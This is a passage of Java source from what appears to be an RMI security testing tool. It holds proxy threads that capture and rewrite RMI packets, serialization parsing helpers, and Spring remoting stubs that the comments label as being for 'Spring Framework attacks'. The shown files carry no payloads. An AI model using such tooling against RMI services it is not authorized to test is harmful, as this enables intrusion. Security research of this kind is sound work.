| this.shutdown(false); 99 | } 100 | 101 | /******************* 102 | * Shutdown the proxy thread. 103 | * 104 | * @param force Set to true to force immediate shutdown. 105 | ******************/ 106 | public final void shutdown(boolean force) { 107 | //Shutdown could be called from run() so do nothing if the shutdown flag is already set 108 | if(this._shutdown == false) { 109 | //Set the shutdown flag 110 | this._shutdown = true; 111 | 112 | //If the shutdown is forced, close the sockets and interrupt the thread 113 | if(force == true) { 114 | //Close the sockets 115 | if(this._sourceSocket != null) { 116 | try { this._sourceSocket.close(); } catch(Exception ex) {} 117 | this._sourceSocket = null; 118 | } 119 | if(this._destSocket != null) { 120 | try { this._destSocket.close(); } catch(Exception ex) {} 121 | this._destSocket = null; 122 | } 123 | 124 | //Interrupt the thread 125 | if(this.isAlive()) { this.interrupt(); } 126 | } else { 127 | //Attempt to join the thread 128 | try { this.join(ProxyThread.PROXY_THREAD_JOIN_TIMEOUT); } catch(InterruptedException ie) {} 129 | if(this.isAlive()) { this.interrupt(); } 130 | 131 | //Close the sockets 132 | if(this._sourceSocket != null) { 133 | try { this._sourceSocket.close(); } catch(Exception ex) {} 134 | this._sourceSocket = null; 135 | } 136 | if(this._destSocket != null) { 137 | try { this._destSocket.close(); } catch(Exception ex) {} 138 | this._destSocket = null; 139 | } 140 | } 141 | 142 | //Call handleShutdown() so sub classes can shutdown too 143 | this.handleShutdown(force); 144 | } 145 | } 146 | 147 | /******************* 148 | * Overridable method that will be called to allow sub classes to handle 149 | * shutting down. 150 | * 151 | * @param force Set to true to force immediate shutdown. 152 | ******************/ 153 | public void handleShutdown(boolean force) { 154 | } 155 | 156 | /******************* 157 | * Handle data passing through this proxy thread. 158 | * 159 | * @param data The data received from the source socket. 160 | * @return The data to write to the destination socket. 161 | ******************/ 162 | public abstract ByteArrayOutputStream handleData(ByteArrayOutputStream data); 163 | } 164 | -------------------------------------------------------------------------------- /src/nb/barmie/net/proxy/thread/ReplyDataCapturingProxyThread.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.net.proxy.thread; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.net.Socket; 5 | import java.util.ArrayList; 6 | 7 | /*********************************************************** 8 | * A proxy thread class used to capture the contents of 9 | * RMI ReplyData packets in order to enable the extraction 10 | * of remote object details. 11 | * 12 | * Written by Nicky Bloor (@NickstaDB). 13 | **********************************************************/ 14 | public class ReplyDataCapturingProxyThread extends ProxyThread { 15 | /******************* 16 | * Properties 17 | ******************/ 18 | private volatile ArrayList _dataBuffer; 19 | 20 | /******************* 21 | * Construct the proxy thread. 22 | * 23 | * @param srcSocket The source socket. 24 | * @param dstSocket The destination socket. 25 | ******************/ 26 | public ReplyDataCapturingProxyThread(Socket srcSocket, Socket dstSocket) { 27 | super(srcSocket, dstSocket); 28 | 29 | //Create the data buffer 30 | this._dataBuffer = new ArrayList(); 31 | } 32 | 33 | /******************* 34 | * Buffer data passing through the proxy, ignoring single-byte RMI ping 35 | * acknowledgement packets. 36 | * 37 | * @param data The data received from the source socket. 38 | * @return The data to write to the destination socket. 39 | ******************/ 40 | public ByteArrayOutputStream handleData(ByteArrayOutputStream data) { 41 | byte[] dataBytes; 42 | 43 | //Get the data bytes 44 | dataBytes = data.toByteArray(); 45 | 46 | //Ignore RMI ping ack packets 47 | if((dataBytes.length == 1 && dataBytes[0] == 0x53) == false) { 48 | //Buffer the received data 49 | for(int i = 0; i < dataBytes.length; ++i) { 50 | this._dataBuffer.add(dataBytes[i]); 51 | } 52 | } 53 | 54 | //Return the original data untouched 55 | return data; 56 | } 57 | 58 | /******************* 59 | * Reset the data buffer - called before requesting each remote object to 60 | * ensure the buffer only contains details of the next object to be 61 | * requested from the RMI registry. 62 | ******************/ 63 | public void resetDataBuffer() { 64 | this._dataBuffer.clear(); 65 | } 66 | 67 | /******************* 68 | * Get the data buffer for parsing. 69 | * 70 | * @return The data buffer containing details of objects requested from the RMI registry. 71 | ******************/ 72 | public ArrayList getDataBuffer() { 73 | return this._dataBuffer; 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /src/nb/barmie/net/proxy/thread/UIDFixingProxyThread.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.net.proxy.thread; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.net.Socket; 6 | 7 | /*********************************************************** 8 | * A proxy thread that modifies the serialVersionUID of 9 | * object references returned by an RMI registry so that 10 | * the serialVersionUID matches the local class. 11 | * 12 | * Written by Nicky Bloor (@NickstaDB). 13 | **********************************************************/ 14 | public class UIDFixingProxyThread extends ProxyThread { 15 | /******************* 16 | * Construct the proxy thread. 17 | * 18 | * @param srcSocket The source socket. 19 | * @param dstSocket The destination socket. 20 | ******************/ 21 | public UIDFixingProxyThread(Socket srcSocket, Socket dstSocket) { 22 | super(srcSocket, dstSocket); 23 | } 24 | 25 | /******************* 26 | * Look for remote object references and fix serialVersionUID fields to 27 | * match the serialVersionUID of matching local classes. 28 | * 29 | * @param data The data received from the source socket. 30 | * @return The data to write to the destination socket. 31 | ******************/ 32 | public ByteArrayOutputStream handleData(ByteArrayOutputStream data) { 33 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 34 | String className; 35 | Class clazz; 36 | long localSerialVersionUID; 37 | int classNameLength; 38 | byte[] dataBytes; 39 | 40 | //Get the packet bytes 41 | dataBytes = data.toByteArray(); 42 | 43 | //Check if this is an RMI ReplyData packet 44 | if(dataBytes[0] == (byte)0x51) { 45 | //Copy bytes to the output stream, checking for serialized TC_CLASSDESC elements as we go 46 | for(int i = 0; i < dataBytes.length; ++i) { 47 | //Check for 0x72 which identifies a TC_CLASSDESC element 48 | if(dataBytes[i] == (byte)0x72) { 49 | //Possible TC_CLASSDESC, attempt to read the class name 50 | if((i + 2) < dataBytes.length) { 51 | //There are enough bytes in the packet after the current offset for the length of the class name, read the length of the class name 52 | classNameLength = ((dataBytes[i + 1] << 8) & 0xff00) + (dataBytes[i + 2] & 0xff); 53 | 54 | //Check if there are enough bytes in the packet for the class name and serialVersionUID... 55 | if((i + 2 + classNameLength + 8) < dataBytes.length) { 56 | //Read the class name 57 | className = new String(dataBytes, i + 3, classNameLength); 58 | 59 | //Don't process JDK classes (this won't catch all, but it will catch the most common ones...) 60 | if(className.startsWith("java") == false) { 61 | //Attempt to fix the serialVersionUID... 62 | try { 63 | //Attempt to load the class 64 | clazz = Class.forName(className); 65 | 66 | //Attempt to read the local serialVersionUID field 67 | localSerialVersionUID = clazz.getDeclaredField("serialVersionUID").getLong(null); 68 | 69 | //Write the class description data to the output stream, replacing the serialVersionUID field 70 | out.write((byte)0x72); 71 | out.write((byte)((classNameLength & 0xff00) >> 8)); 72 | out.write((byte)(classNameLength & 0xff)); 73 | out.write(className.getBytes()); 74 | out.write((byte)((localSerialVersionUID & 0xff00000000000000L) >> 56)); 75 | out.write((byte)((localSerialVersionUID & 0xff000000000000L) >> 48)); 76 | out.write((byte)((localSerialVersionUID & 0xff0000000000L) >> 40)); 77 | out.write((byte)((localSerialVersionUID & 0xff00000000L) >> 32)); 78 | out.write((byte)((localSerialVersionUID & 0xff000000 ) >> 24)); 79 | out.write((byte)((localSerialVersionUID & 0xff0000 ) >> 16)); 80 | out.write((byte)((localSerialVersionUID & 0xff00 ) >> 8)); 81 | out.write((byte)(localSerialVersionUID & 0xff )); 82 | 83 | //Fix the packet offset so that the class description data is not copied to the output packet twice 84 | i += 10 + classNameLength; 85 | } catch(IOException | IllegalAccessException | NoSuchFieldException | ClassNotFoundException ex) { 86 | //Class not found, just copy the current byte over to the output stream 87 | out.write((byte)dataBytes[i]); 88 | } 89 | } else { 90 | out.write((byte)dataBytes[i]); 91 | } 92 | } else { 93 | out.write((byte)dataBytes[i]); 94 | } 95 | } else { 96 | //Not enough data left in the packet, copy a byte across 97 | out.write((byte)dataBytes[i]); 98 | } 99 | } else { 100 | //Not a TC_CLASSDESC, copy a byte to the output stream 101 | out.write((byte)dataBytes[i]); 102 | } 103 | } 104 | } else { 105 | //Not a ReplyData packet, allow it to pass through untouched 106 | return data; 107 | } 108 | 109 | //Return the modified packet 110 | return out; 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /src/nb/barmie/util/DataDumper.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.util; 2 | 3 | /*********************************************************** 4 | * Helper class used to debug strange responses by dumping 5 | * packet bytes as hex+ASCII. 6 | * 7 | * Written by Nicky Bloor (@NickstaDB). 8 | **********************************************************/ 9 | public class DataDumper { 10 | /******************* 11 | * Dump an array of bytes to a string as hex+ASCII. 12 | * 13 | * @param data The data to dump. 14 | * @return A string containing the hex+ASCII representation of the data. 15 | ******************/ 16 | public static String generateHexAsciiDumpString(byte[] data) { 17 | StringBuilder dump = new StringBuilder(data.length * 5); 18 | StringBuilder curRowAscii = new StringBuilder(16); 19 | 20 | //Loop over the supplied data building a hex and ASCII dump 21 | for(int i = 0; i < data.length; ++i) { 22 | //Dump a hex byte 23 | dump.append(String.format("%02x", data[i])); 24 | dump.append(" "); 25 | 26 | //Generate an ASCII byte 27 | if(((int)data[i]) >= 0x20 && ((int)data[i]) <= 0x7e) { 28 | //Printable byte 29 | curRowAscii.append((char)data[i]); 30 | } else { 31 | //Non-printable byte, use . as a placeholder 32 | curRowAscii.append("."); 33 | } 34 | 35 | //Handle padding and row ends 36 | if(curRowAscii.length() == 8) { 37 | //Generate an extra couple of padding spaces at 8 bytes for readability 38 | dump.append(" "); 39 | } else if(curRowAscii.length() == 16) { 40 | //Dump the ASCII, start a nenw row, and reset the ASCII string 41 | dump.append(" "); 42 | dump.append(curRowAscii.toString()); 43 | dump.append("\n"); 44 | curRowAscii.setLength(0); 45 | } 46 | } 47 | 48 | //Handle dumping of the remaining ASCII 49 | if(curRowAscii.length() > 0) { 50 | //Calculate and dump padding for the final ASCII chunk 51 | dump.append(new String(new char[(3 * (16 - curRowAscii.length())) + 4]).replace('\0', ' ')); 52 | 53 | //Additional 2 characters of padding if the current ASCII chunk less than 8 bytes in length 54 | if(curRowAscii.length() < 8) { 55 | dump.append(" "); 56 | } 57 | 58 | //Dump final ASCII chunk 59 | dump.append(curRowAscii.toString()); 60 | } 61 | 62 | //Append a new line to the dump 63 | dump.append("\n"); 64 | 65 | //Return the result of the data dump 66 | return dump.toString(); 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/nb/barmie/util/support/ClassDataDesc.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.util.support; 2 | 3 | import java.util.ArrayList; 4 | 5 | /*********************************************************** 6 | * Support class for serialization data parsing that holds 7 | * class data details that are required to enable object 8 | * properties and array elements to be read from the 9 | * stream. 10 | * 11 | * Written by Nicky Bloor (@NickstaDB). 12 | **********************************************************/ 13 | public class ClassDataDesc { 14 | /******************* 15 | * Properties 16 | ******************/ 17 | private final ArrayList _classDetails; //List of all classes making up this class data description (i.e. class, super class, etc) 18 | 19 | /******************* 20 | * Construct the class data description object. 21 | ******************/ 22 | public ClassDataDesc() { 23 | this._classDetails = new ArrayList(); 24 | } 25 | 26 | /******************* 27 | * Private constructor which creates a new ClassDataDesc and initialises it 28 | * with a subset of the ClassDetails objects from another. 29 | * 30 | * @param cd The list of ClassDetails objects for the new ClassDataDesc. 31 | ******************/ 32 | private ClassDataDesc(ArrayList cd) { 33 | this._classDetails = cd; 34 | } 35 | 36 | /******************* 37 | * Build a new ClassDataDesc object from the given class index. 38 | * 39 | * This is used to enable classdata to be read from the stream in the case 40 | * where a classDesc element references a super class of another classDesc. 41 | * 42 | * @param index The index to start the new ClassDataDesc from. 43 | * @return A ClassDataDesc describing the classes from the given index. 44 | ******************/ 45 | public ClassDataDesc buildClassDataDescFromIndex(int index) { 46 | ArrayList cd; 47 | 48 | //Build a list of the ClassDetails objects for the new ClassDataDesc 49 | cd = new ArrayList(); 50 | for(int i = index; i < this._classDetails.size(); ++i) { 51 | cd.add(this._classDetails.get(i)); 52 | } 53 | 54 | //Return a new ClassDataDesc describing this subset of classes 55 | return new ClassDataDesc(cd); 56 | } 57 | 58 | /******************* 59 | * Add a super class data description to this ClassDataDesc by copying the 60 | * class details across to this one. 61 | * 62 | * @param scdd The ClassDataDesc object describing the super class. 63 | ******************/ 64 | public void addSuperClassDesc(ClassDataDesc scdd) { 65 | //Copy the ClassDetails elements to this ClassDataDesc object 66 | if(scdd != null) { 67 | for(int i = 0; i < scdd.getClassCount(); ++i) { 68 | this._classDetails.add(scdd.getClassDetails(i)); 69 | } 70 | } 71 | } 72 | 73 | /******************* 74 | * Add a class to the ClassDataDesc by name. 75 | * 76 | * @param className The name of the class to add. 77 | ******************/ 78 | public void addClass(String className) { 79 | this._classDetails.add(new ClassDetails(className)); 80 | } 81 | 82 | /******************* 83 | * Set the reference handle of the last class to be added to the 84 | * ClassDataDesc. 85 | * 86 | * @param handle The handle value. 87 | ******************/ 88 | public void setLastClassHandle(int handle) { 89 | this._classDetails.get(this._classDetails.size() - 1).setHandle(handle); 90 | } 91 | 92 | /******************* 93 | * Set the classDescFlags of the last class to be added to the 94 | * ClassDataDesc. 95 | * 96 | * @param classDescFlags The classDescFlags value. 97 | ******************/ 98 | public void setLastClassDescFlags(byte classDescFlags) { 99 | this._classDetails.get(this._classDetails.size() - 1).setClassDescFlags(classDescFlags); 100 | } 101 | 102 | /******************* 103 | * Add a field with the given type code to the last class to be added to 104 | * the ClassDataDesc. 105 | * 106 | * @param typeCode The field type code. 107 | ******************/ 108 | public void addFieldToLastClass(byte typeCode) { 109 | this._classDetails.get(this._classDetails.size() - 1).addField(new ClassField(typeCode)); 110 | } 111 | 112 | /******************* 113 | * Set the name of the last field that was added to the last class to be 114 | * added to the ClassDataDesc. 115 | * 116 | * @param name The field name. 117 | ******************/ 118 | public void setLastFieldName(String name) { 119 | this._classDetails.get(this._classDetails.size() - 1).setLastFieldName(name); 120 | } 121 | 122 | /******************* 123 | * Set the className1 of the last field that was added to the last class to 124 | * be added to the ClassDataDesc. 125 | * 126 | * @param cn1 The className1 value. 127 | ******************/ 128 | public void setLastFieldClassName1(String cn1) { 129 | this._classDetails.get(this._classDetails.size() -1).setLastFieldClassName1(cn1); 130 | } 131 | 132 | /******************* 133 | * Get the details of a class by index. 134 | * 135 | * @param index The index of the class to retrieve details of. 136 | * @return The requested ClassDetails object. 137 | ******************/ 138 | public ClassDetails getClassDetails(int index) { 139 | return this._classDetails.get(index); 140 | } 141 | 142 | /******************* 143 | * Get the number of classes making up this class data description. 144 | * 145 | * @return The number of classes making up this class data description. 146 | ******************/ 147 | public int getClassCount() { 148 | return this._classDetails.size(); 149 | } 150 | } 151 | -------------------------------------------------------------------------------- /src/nb/barmie/util/support/ClassDetails.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.util.support; 2 | 3 | import java.util.ArrayList; 4 | 5 | /*********************************************************** 6 | * Support class for serialization data parsing that holds 7 | * details of a single class to enable class data for that 8 | * class to be read (classDescFlags, field descriptions). 9 | * 10 | * Written by Nicky Bloor (@NickstaDB). 11 | **********************************************************/ 12 | public class ClassDetails { 13 | /******************* 14 | * Properties 15 | ******************/ 16 | private final String _className; //The name of the class 17 | private int _refHandle; //The reference handle for the class 18 | private byte _classDescFlags; //The classDescFlags value for the class 19 | private final ArrayList _fieldDescriptions; //The class field descriptions 20 | 21 | /******************* 22 | * Construct the ClassDetails object. 23 | * 24 | * @param className The name of the class. 25 | ******************/ 26 | public ClassDetails(String className) { 27 | this._className = className; 28 | this._refHandle = -1; 29 | this._classDescFlags = 0; 30 | this._fieldDescriptions = new ArrayList(); 31 | } 32 | 33 | /******************* 34 | * Get the class name. 35 | * 36 | * @return The class name. 37 | ******************/ 38 | public String getClassName() { 39 | return this._className; 40 | } 41 | 42 | /******************* 43 | * Set the reference handle of the class. 44 | * 45 | * @param handle The reference handle value. 46 | ******************/ 47 | public void setHandle(int handle) { 48 | this._refHandle = handle; 49 | } 50 | 51 | /******************* 52 | * Get the reference handle. 53 | * 54 | * @return The reference handle value for this class. 55 | ******************/ 56 | public int getHandle() { 57 | return this._refHandle; 58 | } 59 | 60 | /******************* 61 | * Set the classDescFlags property. 62 | * 63 | * @param classDescFlags The classDescFlags value. 64 | ******************/ 65 | public void setClassDescFlags(byte classDescFlags) { 66 | this._classDescFlags = classDescFlags; 67 | } 68 | 69 | /******************* 70 | * Check whether the class is SC_SERIALIZABLE. 71 | * 72 | * @return True if the classDescFlags includes SC_SERIALIZABLE. 73 | ******************/ 74 | public boolean isSC_SERIALIZABLE() { 75 | return (this._classDescFlags & 0x02) == 0x02; 76 | } 77 | 78 | /******************* 79 | * Check whether the class is SC_EXTERNALIZABLE. 80 | * 81 | * @return True if the classDescFlags includes SC_EXTERNALIZABLE. 82 | ******************/ 83 | public boolean isSC_EXTERNALIZABLE() { 84 | return (this._classDescFlags & 0x04) == 0x04; 85 | } 86 | 87 | /******************* 88 | * Check whether the class is SC_WRITE_METHOD. 89 | * 90 | * @return True if the classDescFlags includes SC_WRITE_METHOD. 91 | ******************/ 92 | public boolean isSC_WRITE_METHOD() { 93 | return (this._classDescFlags & 0x01) == 0x01; 94 | } 95 | 96 | /******************* 97 | * Check whether the class is SC_BLOCKDATA. 98 | * 99 | * @return True if the classDescFlags includes SC_BLOCKDATA. 100 | ******************/ 101 | public boolean isSC_BLOCKDATA() { 102 | return (this._classDescFlags & 0x08) == 0x08; 103 | } 104 | 105 | /******************* 106 | * Add a field description to the class details object. 107 | * 108 | * @param cf The ClassField object describing the field. 109 | ******************/ 110 | public void addField(ClassField cf) { 111 | this._fieldDescriptions.add(cf); 112 | } 113 | 114 | /******************* 115 | * Get the class field descriptions. 116 | * 117 | * @return An array of field descriptions for the class. 118 | ******************/ 119 | public ArrayList getFields() { 120 | return this._fieldDescriptions; 121 | } 122 | 123 | /******************* 124 | * Set the name of the last field to be added to the ClassDetails object. 125 | * 126 | * @param name The field name. 127 | ******************/ 128 | public void setLastFieldName(String name) { 129 | this._fieldDescriptions.get(this._fieldDescriptions.size() - 1).setName(name); 130 | } 131 | 132 | /******************* 133 | * Set the className1 of the last field to be added to the ClassDetails 134 | * object. 135 | * 136 | * @param cn1 The className1 value. 137 | ******************/ 138 | public void setLastFieldClassName1(String cn1) { 139 | this._fieldDescriptions.get(this._fieldDescriptions.size() - 1).setClassName1(cn1); 140 | } 141 | } 142 | -------------------------------------------------------------------------------- /src/nb/barmie/util/support/ClassField.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.util.support; 2 | 3 | /*********************************************************** 4 | * Support class for serialization data parsing that holds 5 | * details of a class field to enable the field value to 6 | * be read from the stream. 7 | * 8 | * Written by Nicky Bloor (@NickstaDB). 9 | **********************************************************/ 10 | public class ClassField { 11 | /******************* 12 | * Properties 13 | ******************/ 14 | private final byte _typeCode; //The field type code 15 | private String _name; //The field name 16 | private String _className1; //The className1 property (object and array type fields) 17 | 18 | /******************* 19 | * Construct the ClassField object. 20 | * 21 | * @param typeCode The field type code. 22 | ******************/ 23 | public ClassField(byte typeCode) { 24 | this._typeCode = typeCode; 25 | this._name = ""; 26 | this._className1 = ""; 27 | } 28 | 29 | /******************* 30 | * Get the field type code. 31 | * 32 | * @return The field type code. 33 | ******************/ 34 | public byte getTypeCode() { 35 | return this._typeCode; 36 | } 37 | 38 | /******************* 39 | * Set the field name. 40 | * 41 | * @param name The field name. 42 | ******************/ 43 | public void setName(String name) { 44 | this._name = name; 45 | } 46 | 47 | /******************* 48 | * Get the field name. 49 | * 50 | * @return The field name. 51 | ******************/ 52 | public String getName() { 53 | return this._name; 54 | } 55 | 56 | /******************* 57 | * Set the className1 property of the field. 58 | * 59 | * @param cn1 The className1 value. 60 | ******************/ 61 | public void setClassName1(String cn1) { 62 | this._className1 = cn1; 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /src/org/springframework/remoting/rmi/RmiInvocationHandler.java: -------------------------------------------------------------------------------- 1 | package org.springframework.remoting.rmi; 2 | 3 | import java.rmi.Remote; 4 | import java.rmi.RemoteException; 5 | import org.springframework.remoting.support.RemoteInvocation; 6 | 7 | /*********************************************************** 8 | * RmiInvocationHandler interface for Spring Framework 9 | * attacks. 10 | * 11 | * Written by Nicky Bloor (@NickstaDB). 12 | **********************************************************/ 13 | public interface RmiInvocationHandler extends Remote { 14 | public Object invoke(RemoteInvocation invocation) throws RemoteException; 15 | } 16 | -------------------------------------------------------------------------------- /src/org/springframework/remoting/rmi/RmiInvocationWrapper_Stub.java: -------------------------------------------------------------------------------- 1 | package org.springframework.remoting.rmi; 2 | 3 | import java.rmi.RemoteException; 4 | import java.rmi.server.RemoteStub; 5 | import org.springframework.remoting.support.RemoteInvocation; 6 | 7 | /*********************************************************** 8 | * RmiInvocationHandler stub for Spring Framework 2 9 | * attacks. 10 | * 11 | * Written by Nicky Bloor (@NickstaDB). 12 | **********************************************************/ 13 | public class RmiInvocationWrapper_Stub extends RemoteStub implements RmiInvocationHandler { 14 | //Dummy serialVersionUID 15 | public static final long serialVersionUID = 2L; 16 | 17 | /******************* 18 | * Stub to call the remote invoke() method. 19 | ******************/ 20 | public Object invoke(RemoteInvocation ri) throws RemoteException { 21 | try { 22 | Object result = this.ref.invoke(this, RmiInvocationHandler.class.getMethod("invoke", new Class[] {RemoteInvocation.class}), new Object[] { ri }, -5752512342587169831L); 23 | return result; 24 | } catch(RuntimeException | RemoteException ex1) { 25 | throw ex1; 26 | } catch(Exception ex2) { 27 | throw new RemoteException("Unexpected exception.", ex2); 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /src/org/springframework/remoting/support/RemoteInvocation.java: -------------------------------------------------------------------------------- 1 | package org.springframework.remoting.support; 2 | 3 | import java.io.Serializable; 4 | import java.util.Map; 5 | 6 | /*********************************************************** 7 | * RemoteInvocation class for Spring Framework attacks. 8 | * 9 | * Written by Nicky Bloor (@NickstaDB). 10 | **********************************************************/ 11 | public class RemoteInvocation implements Serializable { 12 | //Dummy serialVersionUID 13 | private static final long serialVersionUID = 6876024250231820554L; 14 | 15 | /******************* 16 | * Properties 17 | ******************/ 18 | public String methodName; 19 | public Class[] parameterTypes; 20 | public Object[] arguments; 21 | public Map attributes; 22 | } 23 | --------------------------------------------------------------------------------